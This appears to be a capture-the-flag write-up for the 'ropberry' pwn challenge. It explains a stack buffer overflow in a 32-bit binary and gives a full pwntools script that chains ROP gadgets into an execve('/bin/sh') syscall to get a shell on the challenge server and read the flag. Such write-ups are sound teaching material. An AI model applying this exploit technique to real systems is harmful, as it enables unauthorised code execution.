Description

You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something.
He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.
Category: pwn
File: here

Analysis

This challenge is focused on using Return Oriented Programming to get a shell. If you don’t know about it or want to practise, I recommend you to try to solve it on your own.

We are given a 32-bit ELF executable. When we run it, we are asked for input. If we introduce more than eight characters we get a segmentation fault, so there must be a buffer overflow without canary. Indeed:

We can see that NX is enabled, so we can not inject shellcode. However, as it is NO-PIE, and uses gets (which accepts null bytes) to read our input, we can easily exploit the buffer overflow using ROP.

Return Oriented Programming is an exploit technique used to redirect code execution using gadgets. Gadgets are pieces of code that are already present in the binary, and that we can use to, in this case, get a shell. As we have control over the stack due to the buffer overflow, we can overwrite the return address with the address of a gadget that performs, for example, an add eax, 5; ret, so the program will return to this gadget, add 5 to eax, and then return to the next gadget and continue the ROP chain. A ROP chain is simply a list of addresses the program will execute, returning to each one of them. This introduces a whole new world: weird machines. I recommend you to investigate about it.

As you may have noticed, ROP has a big issue: you can only execute what is already present in the binary, which makes it quite difficult to exploit in very short programs. Fortunately, in this challenge there are a lot of gadgets, so we can “program” almost anything we want. In order to have a list of all of them, we are going to use rop-tool. As there are many gadgets, I will redirect its output to a file.

rop-tool gadget ropberry > gadgets

Now, if we want to look for a gadget, for example pop eax, we could easily do:

$ cat gadgets | grep "pop eax"
 0x0804f3bc -> pop eax; add esp, 0x5c; ret ; 
 0x080524bc -> pop eax; mov edi, eax; mov esi, edx; mov eax, dword ptr [esp + 4]; ret ; 
 0x0806aa38 -> push eax; pop eax; mov dword ptr [edx + 0xb8], ecx; ret ; 
 0x0806aa39 -> pop eax; mov dword ptr [edx + 0xb8], ecx; ret ; 
 0x0806cdc5 -> pop eax; mov dword ptr [esp], ebx; add eax, 0x2c; mov dword ptr [esp + 4], eax; call dword ptr [ebx + 0x18]; 
 0x0806d8db -> pop eax; mov dword ptr [esp], edi; add eax, 0x2c; mov dword ptr [esp + 4], eax; call dword ptr [edi + 0x18]; 
 0x0808eb1e -> add dword ptr [eax], eax; pop edx; pop ecx; pop eax; jmp dword ptr [eax]; 
 0x0808eb1f -> add byte ptr [edx + 0x59], bl; pop eax; jmp dword ptr [eax]; 
 0x0808eb20 -> pop edx; pop ecx; pop eax; jmp dword ptr [eax]; 
 0x0808eb21 -> pop ecx; pop eax; jmp dword ptr [eax]; 
 0x0808eb22 -> pop eax; jmp dword ptr [eax]; 
 0x0809a36a -> pop eax; pop ebx; pop esi; pop edi; ret ; 
 0x080c18ff -> add byte ptr [ebx - 0x74fbdbbc], cl; inc eax; pop eax; ret ; 
 0x080c1903 -> add al, 0x8b; inc eax; pop eax; ret ; 
 0x080c1905 -> inc eax; pop eax; ret ; 
 0x080c1906 -> pop eax; ret ; 
 0x080df046 -> add byte ptr [eax], al; pop eax; leave ; 
 0x080df048 -> pop eax; leave ; 

Let’s now think what we are going to do. We need to spawn a shell. As there is no magic function that does it for us, we must figure out how to do it chaining gadgets. For this, we need to use the execve syscall, whose parameters are described in man execve:

int execve(const char *filename, char *const argv[], char *const envp[]);

Our call should be: execve("/bin/sh", ["/bin/sh"], NULL). We must pass a pointer to /bin/sh as first argument, and a pointer to a pointer to /bin/sh as second argument. As you may know, parameters are passed to syscalls via registers. To know where must be every parameter, we can take a look at this.

Looking in our gadgets file, we can find a syscall gadget at 0x08059d70 (remember in 32 bits it’s the opcode int 0x80). As there is not /bin/shstring in the provided binary, we have to create it. In order to do that, we must write it to memory. This is done with mov [reg1], reg2 gadgets, that write the content of reg2 to the address pointed to by reg1. I decided to use mov [edx], eax, located at 0x0808e22d. We also need some gadgets to populate registers eax, edx, ebx and ecx. Those are the pop reg gadgets. The last thing we need is two addresses we can write to. We’ll write /bin/sh into the first of them (so this first address is a pointer to that string), and we’ll write the first address into the second one (so it is a pointer to a pointer to our string). I chose two random addresses located in a writable zone which was full of zeros. Once we have all these gadgets and addresses, we can create the exploit!

Script

We’ll use python and pwntools, as it provides us everything we want.

First, we’ll write every address and gadget we found into variables, so it is easier to use them:

INT_0x80_ADDR = 0x08059d70
POP_EAX_ADDR = 0x080c1906
POP_EDX_ADDR = 0x0805957a
POP_EBX_ADDR = 0x0805798b
POP_ECX_ADDR = 0x080e394a
MOV_EAX_INTO_EDX_ADDR = 0x0808e22d
SAFE_ADDR = 0x80efd50
SAFE_ADDR2 = 0x80efe10

Now, we’ll create an auxiliary function that returns a ROP chain that writes a value into an address. This value could be a string, or a number, in which case it must be packed.

def write_mem(value, addr):
    if type(value) == int: value = pack(value)
    payload = pack(POP_EAX_ADDR) + value
    payload += pack(POP_EDX_ADDR) + pack(addr)
    payload += pack(MOV_EAX_INTO_EDX_ADDR)
    return payload

Once we have this function, the rest is very easy. Just remember we are in a 32 bits architecture, so in order to write /bin/sh, we must write the first four bytes (/bin) into SAFE_ADDR, and then the last four bytes (/sh\x00) into SAFE_ADDR+4.

The final script:

from pwn import *

PATH = "./ropberry"
REMOTE = True
INT_0x80_ADDR = 0x08059d70
POP_EAX_ADDR = 0x080c1906
POP_EDX_ADDR = 0x0805957a
POP_EBX_ADDR = 0x0805798b
POP_ECX_ADDR = 0x080e394a
MOV_EAX_INTO_EDX_ADDR = 0x0808e22d
SAFE_ADDR = 0x80efd50
SAFE_ADDR2 = 0x80efe10
EXEC = "/bin/sh\x00"
EXEC = [EXEC[:4],EXEC[4:]]

def write_mem(value, addr):
    if type(value) == int: value = pack(value)
    payload = pack(POP_EAX_ADDR) + value
    payload += pack(POP_EDX_ADDR) + pack(addr)
    payload += pack(MOV_EAX_INTO_EDX_ADDR)
    return payload

context.binary = PATH
if REMOTE:
    s = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, keyfile="../key")
    p = s.run("/bin/sh")
else:
    p = process(PATH)

p.recv()

#Write EXEC into SAFE_ADDR
payload = "A"*8 #padding
payload += write_mem(EXEC[0], SAFE_ADDR)
payload += write_mem(EXEC[1], SAFE_ADDR+4)

#Write SAFE_ADDR into SAFE_ADDR2
payload += write_mem(SAFE_ADDR, SAFE_ADDR2)

#Populate registers for the syscall
payload += pack(POP_EAX_ADDR) + pack(0xb)
payload += pack(POP_EBX_ADDR) + pack(SAFE_ADDR)
payload += pack(POP_ECX_ADDR) + pack(SAFE_ADDR2)

#Syscall
payload += pack(INT_0x80_ADDR)

p.sendline(payload)
p.recv()
p.interactive()

This script will connect to the remote host and send the payload to spawn a shell. After running it, we just type cat flag.txtand get the flag:

INSA{Why_D0_U_w4nT_T0_ROPE_m3_I_4m_s4D}

Leave a comment

Your email address will not be published. Required fields are marked *